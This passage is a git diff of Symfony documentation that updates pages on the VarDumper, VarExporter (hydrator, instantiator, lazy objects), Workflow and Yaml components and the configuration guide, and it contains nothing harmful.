$dumper->dump($cloner->cloneVar($variable), true); - -Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface` -interface that specifies the -:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>` -method. They also typically implement the -:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees -them from re-implementing the logic required to walk through a -:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure. - -The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark -theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme` -method to use a light theme:: - - // ... - $htmlDumper->setTheme('light'); - -The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string -length and nesting depth of the output to make it more readable. These options -can be overridden by the third optional parameter of the -:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>` -method:: - - use Symfony\Component\VarDumper\Dumper\HtmlDumper; - - $output = fopen('php://memory', 'r+b'); - - $dumper = new HtmlDumper(); - $dumper->dump($var, $output, [ - // 1 and 160 are the default values for these options - 'maxDepth' => 1, - 'maxStringLength' => 160 - ]); - -The output format of a dumper can be fine tuned by the two flags -``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap -in the third constructor argument. They can also be set via environment -variables when using -:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>` -during unit testing. - -The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a -bit field of ``Caster::EXCLUDE_*`` constants and influences the expected -output produced by the different casters. - -If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed -next to its content:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\AbstractDumper; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $varCloner = new VarCloner(); - $var = ['test']; - - $dumper = new CliDumper(); - echo $dumper->dump($varCloner->cloneVar($var), true); - - // array:1 [ - // 0 => "test" - // ] - - $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH); - echo $dumper->dump($varCloner->cloneVar($var), true); - - // (added string length before the string) - // array:1 [ - // 0 => (4) "test" - // ] - -If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format -similar to PHP's short array notation:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\AbstractDumper; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $varCloner = new VarCloner(); - $var = ['test']; - - $dumper = new CliDumper(); - echo $dumper->dump($varCloner->cloneVar($var), true); - - // array:1 [ - // 0 => "test" - // ] - - $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY); - echo $dumper->dump($varCloner->cloneVar($var), true); - - // (no more array:1 prefix) - // [ - // 0 => "test" - // ] - -If you would like to use both options, then you can combine them by -using the logical OR operator ``|``:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\AbstractDumper; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $varCloner = new VarCloner(); - $var = ['test']; - - $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY); - echo $dumper->dump($varCloner->cloneVar($var), true); - - // [ - // 0 => (4) "test" - // ] - -Casters -------- - -Objects and resources nested in a PHP variable are "cast" to arrays in the -intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` -representation. You can customize the array representation for each object/resource -by hooking a Caster into this process. The component already includes many -casters for base PHP classes and other common classes. - -If you want to build your own Caster, you can register one before cloning -a PHP variable. Casters are registered using either a Cloner's constructor -or its ``addCasters()`` method:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - - $myCasters = [...]; - $cloner = new VarCloner($myCasters); - - // or - - $cloner->addCasters($myCasters); - -The provided ``$myCasters`` argument is an array that maps a class, -an interface or a resource type to a callable:: - - $myCasters = [ - 'FooClass' => $myFooClassCallableCaster, - ':bar resource' => $myBarResourceCallableCaster, - ]; - -As you can notice, resource types are prefixed by a ``:`` to prevent -colliding with a class name. - -Because an object has one main class and potentially many parent classes -or interfaces, many casters can be applied to one object. In this case, -casters are called one after the other, starting from casters bound to the -interfaces, the parents classes and then the main class. Several casters -can also be registered for the same resource type/class/interface. -They are called in registration order. - -Casters are responsible for returning the properties of the object or resource -being cloned in an array. They are callables that accept five arguments: - -* the object or resource being casted; -* an array modeled for objects after PHP's native ``(array)`` cast operator; -* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object - representing the main properties of the object (class, type, etc.); -* true/false when the caster is called nested in a structure or not; -* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*`` - constants. - -Here is a simple caster not doing anything:: - - use Symfony\Component\VarDumper\Cloner\Stub; - - function myCaster($object, $array, Stub $stub, $isNested, $filter) - { - // ... populate/alter $array to your needs - - return $array; - } - -For objects, the ``$array`` parameter comes pre-populated using PHP's native -``(array)`` casting operator or with the return value of ``$object->__debugInfo()`` -if the magic method exists. Then, the return value of one Caster is given -as the array argument to the next Caster in the chain. - -When casting with the ``(array)`` operator, PHP prefixes protected properties -with a ``\0*\0`` and private ones with the class owning the property. For example, -``\0Foobar\0`` will be the prefix for all private properties of objects of -type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0`` -is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added -properties not in the class declaration). - -.. note:: - - Although you can, it is advised to not alter the state of an object - while casting it in a Caster. - -.. tip:: - - Before writing your own casters, you should check the existing ones. - -Adding Semantics with Metadata -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Since casters are hooked on specific classes or interfaces, they know about the -objects they manipulate. By altering the ``$stub`` object (the third argument of -any caster), one can transfer this knowledge to the resulting ``Data`` object, -thus to dumpers. To help you do this (see the source code for how it works), -the component comes with a set of wrappers for common additional semantics. You -can use: - -* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is - best represented by a PHP constant; -* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier - (*i.e.* a class name, a method name, an interface, *etc.*); -* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy - objects/strings/*etc.* by ellipses; -* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some - useful keys of an array; -* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image; -* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual - values (*i.e.* values that do not exist as properties in the original PHP data - structure, but are worth listing alongside with real ones); -* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can - be turned into links by dumpers; -* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their -* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and -* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP - traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`). - -For example, if you know that your ``Product`` objects have a ``brochure`` property -that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell -``HtmlDumper`` to make them clickable:: - - use Symfony\Component\VarDumper\Caster\LinkStub; - use Symfony\Component\VarDumper\Cloner\Stub; - - function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0) - { - $array['brochure'] = new LinkStub($array['brochure']); - - return $array; - } diff --git a/components/var_exporter.rst b/components/var_exporter.rst index bf8f9b1f85a..c7ec9cd90d0 100644 --- a/components/var_exporter.rst +++ b/components/var_exporter.rst @@ -1,7 +1,3 @@ -.. index:: - single: VarExporter - single: Components; VarExporter - The VarExporter Component ========================= @@ -28,7 +24,7 @@ PHP code, similar to PHP's :phpfunction:`var_export` function:: $exported = VarExporter::export($someVariable); // store the $exported data in some file or cache system for later reuse - $data = file_put_contents('exported.php', $exported); + $data = file_put_contents('exported.php', '<?php return '.$exported.';'); // later, regenerate the original variable when you need it $regeneratedVariable = require 'exported.php'; @@ -54,10 +50,10 @@ following class hierarchy:: abstract class AbstractClass { - protected $foo; - private $bar; + protected int $foo; + private int $bar; - protected function setBar($bar) + protected function setBar($bar): void { $this->bar = $bar; } @@ -75,7 +71,6 @@ following class hierarchy:: When exporting the ``ConcreteClass`` data with VarExporter, the generated PHP file looks like this:: - <?php return \Symfony\Component\VarExporter\Internal\Hydrator::hydrate( $o = [ clone (\Symfony\Component\VarExporter\Internal\Registry::$prototypes['Symfony\\Component\\VarExporter\\Tests\\ConcreteClass'] ?? \Symfony\Component\VarExporter\Internal\Registry::p('Symfony\\Component\\VarExporter\\Tests\\ConcreteClass')), @@ -95,12 +90,16 @@ file looks like this:: [] ); -Instantiating PHP Classes -------------------------- +.. _instantiating-php-classes: + +Instantiating & Hydrating PHP Classes +------------------------------------- -The other main feature provided by this component is an instantiator which can -create objects and set their properties without calling their constructors or -any other methods:: +Instantiator +~~~~~~~~~~~~ + +This component provides an instantiator, which can create objects and set +their properties without calling their constructors or any other methods:: use Symfony\Component\VarExporter\Instantiator; @@ -110,6 +109,11 @@ any other methods:: // creates a Foo instance and sets one of its properties $fooObject = Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]); +The instantiator can also populate the property of a parent class. Assuming ``Bar`` +is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute:: + + use Symfony\Component\VarExporter\Instantiator; + // creates a Foo instance and sets a private property defined on its parent Bar class $fooObject = Instantiator::instantiate(Foo::class, [], [ Bar::class => ['privateBarProperty' => $propertyValue], @@ -118,15 +122,254 @@ any other methods:: Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be created by using the special ``"\0"`` property name to define their internal value:: - // Creates an SplObjectHash where $info1 is associated to $object1, etc. + use Symfony\Component\VarExporter\Instantiator; + + // creates an SplObjectStorage where $info1 is associated with $object1, etc. $theObject = Instantiator::instantiate(SplObjectStorage::class, [ - "\0" => [$object1, $info1, $object2, $info2...] + "\0" => [$object1, $info1, $object2, $info2...], ]); // creates an ArrayObject populated with $inputArray $theObject = Instantiator::instantiate(ArrayObject::class, [ - "\0" => [$inputArray] + "\0" => [$inputArray], + ]); + +Hydrator +~~~~~~~~ + +Instead of populating objects that don't exist yet (using the instantiator), +sometimes you want to populate properties of an already existing object. This is +the goal of the :class:`Symfony\\Component\\VarExporter\\Hydrator`. Here is a +basic usage of the hydrator populating a property of an object:: + + use Symfony\Component\VarExporter\Hydrator; + + $object = new Foo(); + Hydrator::hydrate($object, ['propertyName' => $propertyValue]); + +The hydrator can also populate the property of a parent class. Assuming ``Bar`` +is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute:: + + use Symfony\Component\VarExporter\Hydrator; + + $object = new Foo(); + Hydrator::hydrate($object, [], [ + Bar::class => ['privateBarProperty' => $propertyValue], + ]); + + // alternatively, you can use the special "\0" syntax + Hydrator::hydrate($object, ["\0Bar\0privateBarProperty" => $propertyValue]); + +Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be +populated by using the special ``"\0"`` property name to define their internal value:: + + use Symfony\Component\VarExporter\Hydrator; + + // creates an SplObjectHash where $info1 is associated with $object1, etc. + $storage = new SplObjectStorage(); + Hydrator::hydrate($storage, [ + "\0" => [$object1, $info1, $object2, $info2...], + ]); + + // creates an ArrayObject populated with $inputArray + $arrayObject = new ArrayObject(); + Hydrator::hydrate($arrayObject, [ + "\0" => [$inputArray], ]); +Creating Lazy Objects +--------------------- + +Lazy objects are objects instantiated empty and populated on demand. This is +particularly useful when, for example, a class has properties that require +heavy computation to determine their values. In such cases, you may want to +trigger the computation only when the property is actually accessed. This way, +the expensive processing is avoided entirely if the property is never used. + +Since version 8.4, PHP provides support for lazy objects via the reflection API. +This native API works with concrete classes, but not with abstract or internal ones. +This component provides helpers to generate lazy objects using the decorator +pattern, which also works with abstract classes, internal classes, and interfaces:: + + $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(SomeInterface::class)); + // $proxyCode should be dumped into a file in production environments + eval('class ProxyDecorator'.$proxyCode); + + $proxy = ProxyDecorator::createLazyProxy(initializer: function (): SomeInterface { + // use whatever heavy logic you need here + // to compute the $dependencies of the proxied class + $instance = new SomeHeavyClass(...$dependencies); + // call setters, etc. if needed + + return $instance; + }); + +Use this mechanism only when native lazy objects cannot be leveraged +(otherwise you'll get a deprecation notice). + +Legacy Creation of Lazy Objects +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When using a PHP version earlier than 8.4, native lazy objects are not available. +In these cases, the VarExporter component provides two traits that help you +implement lazy-loading mechanisms in your classes. + +.. _var-exporter_ghost-objects: + +LazyGhostTrait +.............. + +.. deprecated:: 7.3 + + ``LazyGhostTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy + objects instead. Note that using the trait with PHP versions earlier than 8.4 + does not trigger a deprecation, to ease the transition. + +Ghost objects are empty objects, which see their properties populated the first +time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`, +the implementation of the lazy mechanism is eased. The ``MyLazyObject::populateHash()`` +method will be called only when the object is actually used and needs to be +initialized:: + + namespace App\Hash; + + use Symfony\Component\VarExporter\LazyGhostTrait; + + class HashProcessor + { + use LazyGhostTrait; + + // This property may require a heavy computation to have its value + public readonly string $hash; + + public function __construct() + { + self::createLazyGhost(initializer: $this->populateHash(...), instance: $this); + } + + private function populateHash(array $data): void + { + // Compute $this->hash value with the passed data + } + } + +:class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to +convert non-lazy classes to lazy ones:: + + namespace App\Hash; + + use Symfony\Component\VarExporter\LazyGhostTrait; + + class HashProcessor + { + public readonly string $hash; + + public function __construct(array $data) + { + $this->populateHash($data); + } + + private function populateHash(array $data): void + { + // ... + } + + public function validateHash(): bool + { + // ... + } + } + + class LazyHashProcessor extends HashProcessor + { + use LazyGhostTrait; + } + + $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance): void { + // Do any operation you need here: call setters, getters, methods to validate the hash, etc. + $data = /** Retrieve required data to compute the hash */; + $instance->__construct(...$data); + $instance->validateHash(); + }); + +While you never query ``$processor->hash`` value, heavy methods will never be +triggered. But still, the ``$processor`` object exists and can be used in your +code, passed to methods, functions, etc. + +Ghost objects unfortunately can't work with abstract classes or internal PHP +classes. Nevertheless, the VarExporter component covers this need with the help +of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`. + +.. _var-exporter_virtual-proxies: + +LazyProxyTrait +.............. + +.. deprecated:: 7.3 + + ``LazyProxyTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy + objects instead. Note that using the trait with PHP versions earlier than 8.4 + does not trigger a deprecation, to ease the transition. + +The purpose of virtual proxies in the same one as +:ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is +totally different. Where ghost objects requires to extend a base class, virtual +proxies take advantage of the **Liskov Substitution principle**. This principle +describes that if two objects are implementing the same interface, you can swap +between the different implementations without breaking your application. This is +what virtual proxies take advantage of. To use virtual proxies, you may use +:class:`Symfony\\Component\\VarExporter\\ProxyHelper` to generate proxy's class +code:: + + namespace App\Hash; + + use Symfony\Component\VarExporter\ProxyHelper; + + interface ProcessorInterface + { + public function getHash(): bool; + } + + abstract class AbstractProcessor implements ProcessorInterface + { + protected string $hash; + + public function getHash(): bool + { + return $this->hash; + } + } + + class HashProcessor extends AbstractProcessor + { + public function __construct(array $data) + { + $this->populateHash($data); + } + + private function populateHash(array $data): void + { + // ... + } + } + + $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(AbstractProcessor::class)); + // $proxyCode contains the actual proxy and the reference to LazyProxyTrait. + // In production env, this should be dumped into a file to avoid calling eval(). + eval('class HashProcessorProxy'.$proxyCode); + + $processor = HashProcessorProxy::createLazyProxy(initializer: function (): ProcessorInterface { + $data = /** Retrieve required data to compute the hash */; + $instance = new HashProcessor(...$data); + + // Do any operation you need here: call setters, getters, methods to validate the hash, etc. + + return $instance; + }); + +Just like ghost objects, while you never query ``$processor->hash``, its value +will not be computed. The main difference with ghost objects is that this time, +a proxy of an abstract class was created. This also works with internal PHP class. + .. _`OPcache`: https://www.php.net/opcache .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/ diff --git a/components/workflow.rst b/components/workflow.rst index a35602f1ac2..e3da25b3476 100644 --- a/components/workflow.rst +++ b/components/workflow.rst @@ -1,7 +1,3 @@ -.. index:: - single: Workflow - single: Components; Workflow - The Workflow Component ====================== @@ -26,13 +22,14 @@ process is called a *place*. You do also define *transitions* that describe the action to get from one place to another. .. image:: /_images/components/workflow/states_transitions.png + :alt: An example state diagram for a workflow, showing transitions and places. A set of places and transitions creates a **definition**. A workflow needs a ``Definition`` and a way to write the states to the objects (i.e. an instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`). Consider the following example for a blog post. A post can have one of a number -of predefined statuses (`draft`, `reviewed`, `rejected`, `published`). In a workflow, +of predefined statuses (``draft``, ``reviewed``, ``rejected``, ``published``). In a workflow, these statuses are called **places**. You can define the workflow like this:: use Symfony\Component\Workflow\DefinitionBuilder; @@ -58,33 +55,14 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all on a blog post depending on what *place* (state) it is in. This will keep your domain logic in one place and not spread all over your application. -When you define multiple workflows you should consider using a ``Registry``, -which is an object that stores and provides access to different workflows. -A registry will also help you to decide if a workflow supports the object you -are trying to use it with:: - - use Acme\Entity\BlogPost; - use Acme\Entity\Newsletter; - use Symfony\Component\Workflow\Registry; - use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy; - - $blogPostWorkflow = ... - $newsletterWorkflow = ... - - $registry = new Registry(); - $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class)); - $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class)); - Usage ----- -When you have configured a ``Registry`` with your workflows, -you can retrieve a workflow from it and use it as follows:: +Here's an example of using the workflow defined above:: // ... // Consider that $blogPost is in place "draft" by default $blogPost = new BlogPost(); - $workflow = $registry->get($blogPost); $workflow->can($blogPost, 'publish'); // False $workflow->can($blogPost, 'to_review'); // True @@ -94,6 +72,19 @@ you can retrieve a workflow from it and use it as follows:: $workflow->can($blogPost, 'publish'); // True $workflow->getEnabledTransitions($blogPost); // $blogPost can perform transition "publish" or "reject" +Initialization +-------------- + +If the marking property of your object is ``null`` and you want to set it with the +``initial_marking`` from the configuration, you can call the ``getMarking()`` +method to initialize the object property:: + + // ... + $blogPost = new BlogPost(); + + // initiate workflow + $workflow->getMarking($blogPost); + Learn more ---------- diff --git a/components/yaml.rst b/components/yaml.rst index 29b8114ff53..efaf84f04e6 100644 --- a/components/yaml.rst +++ b/components/yaml.rst @@ -1,7 +1,3 @@ -.. index:: - single: Yaml - single: Components; Yaml - The Yaml Component ================== @@ -18,13 +14,9 @@ standard for all programming languages. YAML is a great format for your configuration files. YAML files are as expressive as XML files and as readable as INI files. -The Symfony Yaml Component implements a selected subset of features defined in -the `YAML 1.2 version specification`_. - .. tip:: - Learn more about the Yaml component in the - :doc:`/components/yaml/yaml_format` article. + Learn more about :doc:`YAML specifications </reference/formats/yaml>`. Installation ------------ @@ -49,7 +41,7 @@ compact block collections and multi-document files. Real Parser ~~~~~~~~~~~ -It sports a real parser and is able to parse a large subset of the YAML +It supports a real parser and is able to parse a large subset of the YAML specification, for all your configuration needs. It also means that the parser is pretty robust, easy to understand, and simple enough to extend. @@ -222,6 +214,8 @@ During the parsing of the YAML contents, all the ``_`` characters are removed from the numeric literal contents, so there is not a limit in the number of underscores you can include or the way you group contents. +.. _yaml-flags: + Advanced Usage: Flags --------------------- @@ -247,7 +241,7 @@ And parse them by using the ``PARSE_OBJECT`` flag:: The YAML component uses PHP's ``serialize()`` method to generate a string representation of the object. -.. caution:: +.. danger:: Object serialization is specific to this implementation, other PHP YAML parsers will likely not recognize the ``php/object`` tag and non-PHP @@ -304,7 +298,7 @@ You can make it convert to a ``DateTime`` instance by using the ``PARSE_DATETIME flag:: $date = Yaml::parse('2016-05-27', Yaml::PARSE_DATETIME); - var_dump(get_class($date)); // DateTime + var_dump($date::class); // DateTime Dumping Multi-line Literal Blocks ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -338,18 +332,62 @@ syntax to parse them as proper PHP constants:: $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT); // $parameters = ['foo' => 'PHP_INT_SIZE', 'bar' => 8]; +Parsing PHP Enumerations +~~~~~~~~~~~~~~~~~~~~~~~~ + +The YAML parser supports `PHP enumerations`_, both unit and backed enums. +By default, they are parsed as regular strings. Use the ``PARSE_CONSTANT`` flag +and the special ``!php/enum`` syntax to parse them as proper PHP enums:: + + enum FooEnum: string + { + case Foo = 'foo'; + case Bar = 'bar'; + } + + // ... + + $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo }'; + $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT); + // the value of the 'foo' key is a string because it missed the `!php/enum` syntax + // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => FooEnum::Foo]; + + $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo->value }'; + $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT); + // the value of the 'foo' key is a string because it missed the `!php/enum` syntax + // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo']; + +You can also use ``!php/enum`` to get all the enumeration cases by only +giving the enumeration FQCN:: + + enum FooEnum: string + { + case Foo = 'foo'; + case Bar = 'bar'; + } + + // ... + + $yaml = '{ bar: !php/enum FooEnum }'; + $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT); + // $parameters = ['bar' => ['foo', 'bar']]; + +.. versionadded:: 7.1 + + The support for using the enum FQCN without specifying a case + was introduced in Symfony 7.1. + Parsing and Dumping of Binary Data ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -You can dump binary data by using the ``DUMP_BASE64_BINARY_DATA`` flag:: +Non UTF-8 encoded strings are dumped as base64 encoded data:: $imageContents = file_get_contents(__DIR__.'/images/logo.png'); - $dumped = Yaml::dump(['logo' => $imageContents], 2, 4, Yaml::DUMP_BASE64_BINARY_DATA); + $dumped = Yaml::dump(['logo' => $imageContents]); // logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY... -Binary data is automatically parsed if they include the ``!!binary`` YAML tag -(there's no need to pass any flag to the Yaml parser):: +Binary data is automatically parsed if they include the ``!!binary`` YAML tag:: $dumped = 'logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY...'; $parsed = Yaml::parse($dumped); @@ -390,6 +428,80 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag:: $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE); // foo: ~ +Another valid representation of the ``null`` value is an empty string. You can +use the ``DUMP_NULL_AS_EMPTY`` flag to dump null values as empty strings:: + + $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_EMPTY); + // foo: + +.. versionadded:: 7.3 + + The ``DUMP_NULL_AS_EMPTY`` flag was introduced in Symfony 7.3. + +Dumping Numeric Keys as Strings +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, digit-only array keys are dumped as integers. You can use the +``DUMP_NUMERIC_KEY_AS_STRING`` flag if you want to dump string-only keys:: + + $dumped = Yaml::dump([200 => 'foo']); + // 200: foo + + $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING); + // '200': foo + +Dumping Double Quotes on Values +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, only unsafe string values are enclosed in double quotes (for example, +if they are reserved words or contain newlines and spaces). Use the +``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to add double quotes to all string values:: + + $dumped = Yaml::dump([ + 'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null, + ]); + // foo: bar, 'some foo': 'some bar', x: 3.14, 'y': true, z: null + + $dumped = Yaml::dump([ + 'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null, + ], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES); + // "foo": "bar", "some foo": "some bar", "x": 3.14, "y": true, "z": null + +.. versionadded:: 7.3 + + The ``Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag was introduced in Symfony 7.3. + +Dumping Collection of Maps +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When the YAML component dumps collections of maps, it uses a hyphen on a separate +line as a delimiter: + +.. code-block:: yaml + + planets: + - + name: Mercury + distance: 57910000 + - + name: Jupiter + distance: 778500000 + +To produce a more compact output where the delimiter is included within the map, +use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag: + +.. code-block:: yaml + + planets: + - name: Mercury + distance: 57910000 + - name: Jupiter + distance: 778500000 + +.. versionadded:: 7.3 + + The ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag was introduced in Symfony 7.3. + Syntax Validation ~~~~~~~~~~~~~~~~~ @@ -433,12 +545,15 @@ Then, execute the script for validating contents: # or contents passed to STDIN $ cat path/to/file.yaml | php lint.php + # you can also exclude one or more files from linting + $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml + The result is written to STDOUT and uses a plain text format by default. Add the ``--format`` option to get the output in JSON format: .. code-block:: terminal - $ php lint.php path/to/file.yaml --format json + $ php lint.php path/to/file.yaml --format=json .. tip:: @@ -446,15 +561,6 @@ Add the ``--format`` option to get the output in JSON format: YAML files. This may for example be useful for recognizing deprecations of contents of YAML files during automated tests. -Learn More ----------- - -.. toctree:: - :maxdepth: 1 - :glob: - - yaml/* - .. _`YAML`: https://yaml.org/ -.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html +.. _`PHP enumerations`: https://www.php.net/manual/en/language.types.enumerations.php diff --git a/configuration.rst b/configuration.rst index 2ca1c6995ee..4b1e75dcabe 100644 --- a/configuration.rst +++ b/configuration.rst @@ -1,6 +1,3 @@ -.. index:: - single: Configuration - Configuring Symfony =================== @@ -18,22 +15,20 @@ directory, which has this default structure: │ ├─ bundles.php │ ├─ routes.yaml │ └─ services.yaml - ├─ ... -The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`; -the ``services.yaml`` file configures the services of the -:doc:`service container </service_container>`; the ``bundles.php`` file enables/ -disables packages in your application. +* The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`; +* The ``services.yaml`` file configures the services of the :doc:`service container </service_container>`; +* The ``bundles.php`` file enables/disables packages in your application; +* The ``config/packages/`` directory stores the configuration of every package + installed in your application. -You'll be working mostly in the ``config/packages/`` directory. This directory -stores the configuration of every package installed in your application. Packages (also called "bundles" in Symfony and "plugins/modules" in other projects) add ready-to-use features to your projects. When using :ref:`Symfony Flex <symfony-flex>`, which is enabled by default in Symfony applications, packages update the ``bundles.php`` file and create new files in ``config/packages/`` automatically during their installation. For -example, this is the default file created by the "API Platform" package: +example, this is the default file created by the "API Platform" bundle: .. code-block:: yaml @@ -42,9 +37,9 @@ example, this is the default file created by the "API Platform" package: mapping: paths: ['%kernel.project_dir%/src/Entity'] -Splitting the configuration into lots of small files is intimidating for some +Splitting the configuration into lots of small files might seem intimidating to some Symfony newcomers. However, you'll get used to them quickly and you rarely need -to change these files after package installation +to change these files after package installation. .. tip:: @@ -52,27 +47,39 @@ to change these files after package installation :doc:`Symfony Configuration Reference </reference/index>` or run the ``config:dump-reference`` command. +.. _configuration-formats: + Configuration Formats ~~~~~~~~~~~~~~~~~~~~~ Unlike other frameworks, Symfony doesn't impose a specific format on you to -configure your applications. Symfony lets you choose between YAML, XML and PHP -and throughout the Symfony documentation, all configuration examples will be +configure your applications, but lets you choose between YAML, XML and PHP. +Throughout the Symfony documentation, all configuration examples will be shown in these three formats. There isn't any practical difference between formats. In fact, Symfony -transforms and caches all of them into PHP before running the application, so -there's not even any performance difference between them. +transforms all of them into PHP and caches them before running the application, +so there's not even any performance difference. YAML is used by default when installing packages because it's concise and very readable. These are the main advantages and disadvantages of each format: * **YAML**: simple, clean and readable, but not all IDEs support autocompletion - and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`; -* **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP, + and validation for it. :doc:`Learn the YAML syntax </reference/formats/yaml>`; +* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP, but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_; -* **PHP**: very powerful and it allows you to create dynamic configuration, but the - resulting configuration is less readable than the other formats. +* **PHP**: very powerful and it allows you to create dynamic configuration with + arrays or a :ref:`ConfigBuilder <config-config-builder>`. + +.. note:: + + By default Symfony loads the configuration files defined in YAML and PHP + formats. If you define configuration in XML format, update the + :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureContainer` + and/or + :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureRoutes` + methods in the ``src/Kernel.php`` file to add support for the ``.xml`` file + extension. Importing Configuration Files ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -129,7 +136,7 @@ configuration files, even if they use a different format: // 